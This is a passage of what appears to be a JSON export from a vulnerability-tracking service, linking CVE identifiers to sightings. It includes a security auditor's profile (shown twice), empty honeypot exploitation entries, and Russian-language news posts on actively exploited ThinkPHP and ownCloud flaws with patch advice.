CVE-2022-4722, CVE-2023-3067\n\n**Public Good Projects:**\n- https://digibastion.com\n- https://web3sec.news\n\n## 1. Portfolio, Languages, and Protocol Experience\n\n- GitHub Security Portfolio: https://github.com/Raiders0786/Raiders0786/blob/main/SECURITY-PORTFOLIO.md\n- X / Research Updates: https://x.com/__Raiders\n- Telegram: https://t.me/raiders0786\n\nMost Web2 security work stays private (NDAs / internal company policy). Many companies don't publish pentest reports publicly \u2014 work is handled internally or via platforms like Synack.\n\nWas part of the **Synack Red Team** (invite-only vetted researcher community, private client infra tested through a controlled VPN). Reports are generated on-platform; IP is owned by Synack + client, so they can't be shared publicly. More on the model: https://www.synack.com/why-synack/\n\nRedacted versions of past private audit reports (screenshots/PDFs attached separately, not inline here):\n- https://drive.google.com/file/d/1GW18fVNiCXGmETISFO88nbDL4FehsQCF/view?usp=sharing\n- https://drive.google.com/file/d/1eWqEZA8N_zgNvfxnTJcOXKC7wWklO8A5/view?usp=sharing\n- https://drive.google.com/file/d/16RCokoE8Yt-svPrz5OvE0RXTG_ky1R-2/view?usp=sharing\n- https://drive.google.com/file/d/1ENOvFNqw4tboNObCmVcGWA5kc7R1dU21/view?usp=sharing\n\n## 2. Public Audit Reports\n\n- **MetaMask Connect** (offchain library) \u2014 with Cyfrin: https://github.com/Cyfrin/cyfrin-audit-reports/blob/main/reports/2026-03-05-cyfrin-metamask-connect-v2.0.pdf\n- **Predict.fun** Chainlink CRE Integration \u2014 with Cyfrin: https://github.com/Cyfrin/cyfrin-audit-reports/blob/main/reports/2026-04-25-cyfrin-predict-cre-integration-v2.1.pdf\n- **Omen.trade** \u2014 decentralized perps/options platform on a Rust matching engine. Full off-chain + on-chain audit (web, backend, mobile app, admin dashboard): https://sherlock-files.ams3.digitaloceanspaces.com/reports/2026.07.02%20-%20Final%20-%20Omen.trade%20Collaborative%20Audit%20Report%201782995574.pdf\n\n## 3. Projects Worked With\n\nMetaMask \u00b7 LayerZero \u00b7 Omen Perps \u00b7 Predict.fun \u00b7 Nocturnal \u00b7 BNBShare.fun \u00b7 Fractalized \u00b7 Aztec Network \u00b7 Libre Capital (now kaio.xyz) \u00b7 ZyfAI \u00b7 Biconomy \u00b7 Astaria \u00b7 Ethos Reserve \u00b7 1inch \u2014 and more.\n\n## 4. Public Work & Contributions\n\n- Admin and Creator of **OSWAR**: https://oswar.org\n- Author \u2014 *Domain & DNS Security Framework* (SEAL Alliance): https://frameworks.securityalliance.dev/infrastructure/domain-and-dns-security\n- EthSecurity DAO Badge Holder: https://x.com/__Raiders/status/2043883600152801651\n- SEAL announcement: https://x.com/_SEAL_Org/status/2021222150057693478\n- Ethereum ecosystem operational security project (grant supported): https://x.com/__Raiders/status/1952779461331460240\n- Octant Grant \u2014 Top 30 Ethereum Security Content Creators (~$10k): https://x.com/__Raiders/status/1981273644707029437\n\n**Featured in BlockThreat Newsletter:**\n- https://blockthreat.com/blockthreat-week-46-2025/#:~:text=How%20Multi%2DAgent%20AI%20Is%20Catching%20the%2080%25%20of%20Hacks%20That%20Audits%20Miss\n- https://blockthreat.com/blockthreat-week-24-2025/#:~:text=The%20Need%20for%20Robust%20Web3%20Pentesting%20and%20Supply%20Chain%20Security\n- https://blockthreat.com/blockthreat-week-27-2025/#:~:text=The%20Need%20for%20Robust%20Web3%20Pentesting%20and%20Supply%20Chain%20Security\n- https://blockthreat.com/blockthreat-week-36-2025/#:~:text=DNS%20Security%20in%20Web3%3A%20Attacks%20%26%20Monitoring%20Setup\n\n**MITRE ATT&CK-style Supply Chain Research:**\n- https://aadapt.mitre.org/techniques/ADT1195/\n- https://aadapt.mitre.org/techniques/ADT1195.001\n\n**Public CVEs Discovered:**\n- Windows Thick Client Application: https://huntr.com/bounties/4772ceb7-1594-414d-9b20-5b82029da7b6\n- Backup Management Software Web Interface: https://huntr.com/bounties/c62126dc-d9a6-4d3e-988d-967031876c58\n\n**Articles & Disclosed Findings:** https://medium.com/@chirag-agrawal\n**Example Pre-Audit Report:** https://hackmd.io/vwz7F9B_T32xFbIiIpNr8A\n\nAlso conducted audits/security reviews with **Cyfrin, Sherlock, Adevarlabs, BailSec, Failsafe**, plus several private protocol engagements.\n\n- **18+** independent full-stack security audits completed\n- Past growth/technical-writing clients: Certora, Guardrail.ai, Cyvers, Spearbit/Cantina, Credshields, Sayfer, Cyfrin, GetRecon, All Things Fuzzy\n- Example collaboration with Cyfrin for a large TradFi crypto company: https://x.com/__Raiders/status/1968997526050066827\n\n## 5. Languages & Technologies\n\nWeb2 and Web3 stacks.\n\n- **Languages/Frameworks:** TypeScript, JavaScript, Angular, Django, React.js / Next.js, Svelte, Rust, Go, Python, Solidity, Cairo, Move\n- **Mobile Security:** React Native, Swift, Kotlin, Dart\n- **Cloud & Infra:** AWS (AWS Certified Security Specialty), Google Cloud security assessments, CI/CD & supply chain security\n- **AI Security:** LLM Security\n\n## 6. Certifications\n\n- Certified LLM Security Professional: https://courses.redteamleaders.com/exam-completion/22d59a6278d33cfe\n- Certified in DevSecOps\n- Certified Blockchain Practitioner\n- Certified AppSec Practitioner\n- AWS Cloud Security Practitioner\n- Certified Blockchain Developer\n\n## 7. Types of Protocols & Systems Audited\n\nWeb2 infra + Web3 protocol stacks: yield aggregators, perps & prediction markets, trading platforms/financial infra, oracle-integrated systems, TradFi-integrated crypto platforms, cryptography-heavy applications, zero-knowledge systems, custody/wallet infra, backend systems supporting blockchain protocols, supply chain & dependency security for Web3 projects.\n\nFull-stack reviews covering: backend logic, infra/cloud config, frontend security & wallet integrations, API/auth flows, domain/DNS infra security, threat modeling & risk assessment, supply chain & third-party risk exposure.\n\n## 8. Web2 / Web3 Security Background\n\nStarted in Web2 security mid-2018, primarily bug bounty + private pentesting.\n\n- Reported multiple vulnerabilities across private and public programs\n- Led security efforts for a Series C tech company in Bangalore for ~4 years\n- Conducted infrastructure, application, and cloud security reviews\n- Worked with vetted pentesting communities like Synack Red Team\n\nStarted in Web3 security late 2022. Since then:\n- Participated in competitive audit contests (Code4rena)\n- Won Secureum Race 14\n- Worked on private protocol audits and backend security reviews\n- Conducted security assessments with firms like Cyfrin, Sherlock, Guardian Audits, and Failsafe\n\nAlso performed rapid-response security reviews for projects under active incidents \u2014 e.g. helped secure a BNB ecosystem launchpad/fee-sharing project that had suffered two prior hacks. After ~7 days of continuous review, patching, and mitigation, the project stabilized with no further compromises and later scaled to a top-3 position in its category in early 2026.\n\nFlexible depending on project requirements and long-term collaboration potential.\n\n## 9. Audit Pace\n\nVaries by complexity:\n- Simple / moderate logic: ~1000\u20131500 LOC/day\n- Complex logic (cryptography, financial systems, ZK, etc.): ~500\u2013800 LOC/day\n\nTypically ~8 focused hours/day; during critical launches or tight timelines, often 12+ hours/day.\n\n## 10. Proof / Confidential Materials\n\n*(Screenshots from audits, bug bounties, and private engagement reports \u2014 attach separately as images; not included inline in this gist.)*\n", "creation_timestamp": "2026-07-15T09:44:28.897928Z"}, {"uuid": "a4b8cc08-71b2-47ca-b154-7c9f27c7ed56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4722", "type": "seen", "source": "https://gist.github.com/Raiders0786/d98e8c077332c60d17c99e7cc1b5a424", "content": "# Security Audit Profile \u2014 Raiders0786\n\nGMT+5:30, India\nTelegram: [t.me/Raiders0786](https://t.me/Raiders0786)\n\n**Public CVEs:** [CVE-2022-4722](https://nvd.nist.gov/vuln/detail/CVE-2022-4722), [CVE-2023-3067](https://nvd.nist.gov/vuln/detail/CVE-2023-3067)\n\n**Public Good Projects:**\n- [digibastion.com](https://digibastion.com)\n- [web3sec.news](https://web3sec.news)\n\n## 1. Portfolio, Languages, and Protocol Experience\n\n- [GitHub Security Portfolio](https://github.com/Raiders0786/Raiders0786/blob/main/SECURITY-PORTFOLIO.md)\n- [X / Research Updates](https://x.com/__Raiders)\n- [Telegram](https://t.me/raiders0786)\n\nMost Web2 security work stays private (NDAs / internal company policy). Many companies don't publish pentest reports publicly \u2014 work is handled internally or via platforms like Synack.\n\nWas part of the **Synack Red Team** (invite-only vetted researcher community, private client infra tested through a controlled VPN). Reports are generated on-platform; IP is owned by Synack + client, so they can't be shared publicly. [More on the model](https://www.synack.com/why-synack/).\n\nRedacted versions of past private audit reports (screenshots/PDFs attached separately, not inline here):\n- [Report 1](https://drive.google.com/file/d/1GW18fVNiCXGmETISFO88nbDL4FehsQCF/view?usp=sharing)\n- [Report 2](https://drive.google.com/file/d/1eWqEZA8N_zgNvfxnTJcOXKC7wWklO8A5/view?usp=sharing)\n- [Report 3](https://drive.google.com/file/d/16RCokoE8Yt-svPrz5OvE0RXTG_ky1R-2/view?usp=sharing)\n- [Report 4](https://drive.google.com/file/d/1ENOvFNqw4tboNObCmVcGWA5kc7R1dU21/view?usp=sharing)\n\n## 2. Public Audit Reports\n\n- **MetaMask Connect** (offchain library) \u2014 with Cyfrin: [report](https://github.com/Cyfrin/cyfrin-audit-reports/blob/main/reports/2026-03-05-cyfrin-metamask-connect-v2.0.pdf)\n- **Predict.fun** Chainlink CRE Integration \u2014 with Cyfrin: [report](https://github.com/Cyfrin/cyfrin-audit-reports/blob/main/reports/2026-04-25-cyfrin-predict-cre-integration-v2.1.pdf)\n- **Omen.trade** \u2014 decentralized perps/options platform on a Rust matching engine. Full off-chain + on-chain audit (web, backend, mobile app, admin dashboard): [report](https://sherlock-files.ams3.digitaloceanspaces.com/reports/2026.07.02%20-%20Final%20-%20Omen.trade%20Collaborative%20Audit%20Report%201782995574.pdf)\n\n## 3. Projects Worked With\n\nMetaMask \u00b7 LayerZero \u00b7 Omen Perps \u00b7 Predict.fun \u00b7 Nocturnal \u00b7 BNBShare.fun \u00b7 Fractalized \u00b7 Aztec Network \u00b7 Libre Capital (now kaio.xyz) \u00b7 ZyfAI \u00b7 Biconomy \u00b7 Astaria \u00b7 Ethos Reserve \u00b7 1inch \u2014 and more.\n\n## 4. Public Work & Contributions\n\n- Admin and Creator of **[OSWAR](https://oswar.org)**\n- Author \u2014 [*Domain & DNS Security Framework*](https://frameworks.securityalliance.dev/infrastructure/domain-and-dns-security) (SEAL Alliance)\n- [EthSecurity DAO Badge Holder](https://x.com/__Raiders/status/2043883600152801651)\n- [SEAL announcement](https://x.com/_SEAL_Org/status/2021222150057693478)\n- [Ethereum ecosystem operational security project](https://x.com/__Raiders/status/1952779461331460240) (grant supported)\n- [Octant Grant \u2014 Top 30 Ethereum Security Content Creators](https://x.com/__Raiders/status/1981273644707029437) (~$10k)\n\n**Featured in BlockThreat Newsletter:**\n- [How Multi-Agent AI Is Catching the 80% of Hacks That Audits Miss](https://blockthreat.com/blockthreat-week-46-2025/#:~:text=How%20Multi%2DAgent%20AI%20Is%20Catching%20the%2080%25%20of%20Hacks%20That%20Audits%20Miss)\n- [The Need for Robust Web3 Pentesting and Supply Chain Security](https://blockthreat.com/blockthreat-week-24-2025/#:~:text=The%20Need%20for%20Robust%20Web3%20Pentesting%20and%20Supply%20Chain%20Security)\n- [The Need for Robust Web3 Pentesting and Supply Chain Security](https://blockthreat.com/blockthreat-week-27-2025/#:~:text=The%20Need%20for%20Robust%20Web3%20Pentesting%20and%20Supply%20Chain%20Security)\n- [DNS Security in Web3: Attacks & Monitoring Setup](https://blockthreat.com/blockthreat-week-36-2025/#:~:text=DNS%20Security%20in%20Web3%3A%20Attacks%20%26%20Monitoring%20Setup)\n\n**MITRE ATT&CK-style Supply Chain Research:**\n- [ADT1195](https://aadapt.mitre.org/techniques/ADT1195/)\n- [ADT1195.001](https://aadapt.mitre.org/techniques/ADT1195.001)\n\n**Public CVEs Discovered:**\n- [Windows Thick Client Application](https://huntr.com/bounties/4772ceb7-1594-414d-9b20-5b82029da7b6)\n- [Backup Management Software Web Interface](https://huntr.com/bounties/c62126dc-d9a6-4d3e-988d-967031876c58)\n\n**Articles & Disclosed Findings:** [medium.com/@chirag-agrawal](https://medium.com/@chirag-agrawal)\n**Example Pre-Audit Report:** [hackmd.io](https://hackmd.io/vwz7F9B_T32xFbIiIpNr8A)\n\nAlso conducted audits/security reviews with **Cyfrin, Sherlock, Adevarlabs, BailSec, Failsafe**, plus several private protocol engagements.\n\n- **18+** independent full-stack security audits completed\n- Past growth/technical-writing clients: Certora, Guardrail.ai, Cyvers, Spearbit/Cantina, Credshields, Sayfer, Cyfrin, GetRecon, All Things Fuzzy\n- [Example collaboration with Cyfrin for a large TradFi crypto company](https://x.com/__Raiders/status/1968997526050066827)\n\n## 5. Languages & Technologies\n\nWeb2 and Web3 stacks.\n\n- **Languages/Frameworks:** TypeScript, JavaScript, Angular, Django, React.js / Next.js, Svelte, Rust, Go, Python, Solidity, Cairo, Move\n- **Mobile Security:** React Native, Swift, Kotlin, Dart\n- **Cloud & Infra:** AWS (AWS Certified Security Specialty), Google Cloud security assessments, CI/CD & supply chain security\n- **AI Security:** LLM Security\n\n## 6. Certifications\n\n- [Certified LLM Security Professional](https://courses.redteamleaders.com/exam-completion/22d59a6278d33cfe)\n- Certified in DevSecOps\n- Certified Blockchain Practitioner\n- Certified AppSec Practitioner\n- AWS Cloud Security Practitioner\n- Certified Blockchain Developer\n\n## 7. Types of Protocols & Systems Audited\n\nWeb2 infra + Web3 protocol stacks: yield aggregators, perps & prediction markets, trading platforms/financial infra, oracle-integrated systems, TradFi-integrated crypto platforms, cryptography-heavy applications, zero-knowledge systems, custody/wallet infra, backend systems supporting blockchain protocols, supply chain & dependency security for Web3 projects.\n\nFull-stack reviews covering: backend logic, infra/cloud config, frontend security & wallet integrations, API/auth flows, domain/DNS infra security, threat modeling & risk assessment, supply chain & third-party risk exposure.\n\n## 8. Web2 / Web3 Security Background\n\nStarted in Web2 security mid-2018, primarily bug bounty + private pentesting.\n\n- Reported multiple vulnerabilities across private and public programs\n- Led security efforts for a Series C tech company in Bangalore for ~4 years\n- Conducted infrastructure, application, and cloud security reviews\n- Worked with vetted pentesting communities like Synack Red Team\n\nStarted in Web3 security late 2022. Since then:\n- Participated in competitive audit contests (Code4rena)\n- Won Secureum Race 14\n- Worked on private protocol audits and backend security reviews\n- Conducted security assessments with firms like Cyfrin, Sherlock, Guardian Audits, and Failsafe\n\nAlso performed rapid-response security reviews for projects under active incidents \u2014 e.g. helped secure a BNB ecosystem launchpad/fee-sharing project that had suffered two prior hacks. After ~7 days of continuous review, patching, and mitigation, the project stabilized with no further compromises and later scaled to a top-3 position in its category in early 2026.\n\nFlexible depending on project requirements and long-term collaboration potential.\n\n## 9. Audit Pace\n\nVaries by complexity:\n- Simple / moderate logic: ~1000\u20131500 LOC/day\n- Complex logic (cryptography, financial systems, ZK, etc.): ~500\u2013800 LOC/day\n\nTypically ~8 focused hours/day; during critical launches or tight timelines, often 12+ hours/day.\n\n## 10. Proof / Confidential Materials\n\n*(Screenshots from audits, bug bounties, and private engagement reports \u2014 attach separately as images; not included inline in this gist.)*\n", "creation_timestamp": "2026-07-15T09:47:12.330261Z"}, {"uuid": "480dc88a-39a5-441f-95dd-8759a5f2e07b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-27)", "content": "", "creation_timestamp": "2026-08-28T10:15:47.846630Z"}, {"uuid": "858934d9-9b78-4f61-a768-64f4ce76ddf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47522", "type": "seen", "source": "https://t.me/strykerapp/49454", "content": "MacStealer: Wi-Fi Client Isolation Bypass (CVE-2022-47522)\n\nComing soon \u26a1\ufe0f", "creation_timestamp": "2026-07-16T07:00:04.930693Z"}, {"uuid": "5079e814-d7cc-466d-8d83-122320f4c75b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47522", "type": "seen", "source": "https://t.me/strykerapp/49454", "content": "MacStealer: Wi-Fi Client Isolation Bypass (CVE-2022-47522)\n\nComing soon \u26a1\ufe0f", "creation_timestamp": "2026-07-17T00:00:56.542766Z"}, {"uuid": "a513d11e-ddbf-4072-947f-33ac0e379d0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "seen", "source": "https://t.me/ZerodayAlert/426", "content": "\u0421\u0442\u0430\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0443\u0433\u0440\u043e\u0436\u0430\u0442\u044c \u0431\u0438\u0437\u043d\u0435\u0441\u0443 \u0432 2025 \u0433\u043e\u0434\u0443\n\n\u26a0\ufe0f \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b GreyNoise \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0440\u0435\u0437\u043a\u0438\u0439 \u0440\u043e\u0441\u0442 \u0430\u0442\u0430\u043a \u043d\u0430 \u0441\u0442\u0430\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 ThinkPHP \u0438 ownCloud, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0435\u0449\u0435 \u0432 2022-2023 \u0433\u043e\u0434\u0430\u0445. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u0430\u0442\u0447\u0435\u0439, \u0442\u044b\u0441\u044f\u0447\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\ud83c\udf10 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-47945 \u0432 ThinkPHP \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 570 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434. \u041f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u0442\u0435\u0442 \u0447\u0438\u0441\u043b\u043e \u0430\u0442\u0430\u043a \u043d\u0430 CVE-2023-49103 \u0432 ownCloud, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e PHP-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443.\n\n\ud83d\udee1 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u0445\u043e\u0434\u044f\u0442 \u0432 \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u043f\u043e \u0432\u0435\u0440\u0441\u0438\u0438 \u0424\u0411\u0420 \u0438 CISA. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c ThinkPHP \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.0.14 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c GraphAPI 0.3.1 \u0434\u043b\u044f ownCloud, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e \u0441\u0438\u0441\u0442\u0435\u043c.\n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #ThinkPHP #ownCloud\n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:17.889588Z"}, {"uuid": "229a8816-322e-4802-bc7d-2c5524a0a707", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47615", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-25)", "content": "", "creation_timestamp": "2026-07-26T10:15:39.704170Z"}, {"uuid": "abee6f7d-b3fd-4dc0-a761-f0d3413179a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "seen", "source": "https://t.me/ZerodayAlert/426", "content": "\u0421\u0442\u0430\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0443\u0433\u0440\u043e\u0436\u0430\u0442\u044c \u0431\u0438\u0437\u043d\u0435\u0441\u0443 \u0432 2025 \u0433\u043e\u0434\u0443\n\n\u26a0\ufe0f \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b GreyNoise \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0440\u0435\u0437\u043a\u0438\u0439 \u0440\u043e\u0441\u0442 \u0430\u0442\u0430\u043a \u043d\u0430 \u0441\u0442\u0430\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 ThinkPHP \u0438 ownCloud, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0435\u0449\u0435 \u0432 2022-2023 \u0433\u043e\u0434\u0430\u0445. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u0430\u0442\u0447\u0435\u0439, \u0442\u044b\u0441\u044f\u0447\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\ud83c\udf10 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-47945 \u0432 ThinkPHP \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 570 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434. \u041f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u0442\u0435\u0442 \u0447\u0438\u0441\u043b\u043e \u0430\u0442\u0430\u043a \u043d\u0430 CVE-2023-49103 \u0432 ownCloud, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e PHP-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443.\n\n\ud83d\udee1 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u0445\u043e\u0434\u044f\u0442 \u0432 \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u043f\u043e \u0432\u0435\u0440\u0441\u0438\u0438 \u0424\u0411\u0420 \u0438 CISA. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c ThinkPHP \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.0.14 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c GraphAPI 0.3.1 \u0434\u043b\u044f ownCloud, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e \u0441\u0438\u0441\u0442\u0435\u043c.\n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #ThinkPHP #ownCloud\n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:42.190443Z"}, {"uuid": "eea3d60a-03d4-42d1-85eb-a3fd5e61ada1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47378", "type": "seen", "source": "https://t.me/EchelonEyes/1840", "content": "\u041f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439: 16 \u043d\u043e\u0432\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 CODESYS SDK \u0434\u0435\u043b\u0430\u044e\u0442 \u0441\u0440\u0435\u0434\u044b OT \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438\n\n\u0412 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f CODESYS V3 \u0431\u044b\u043b 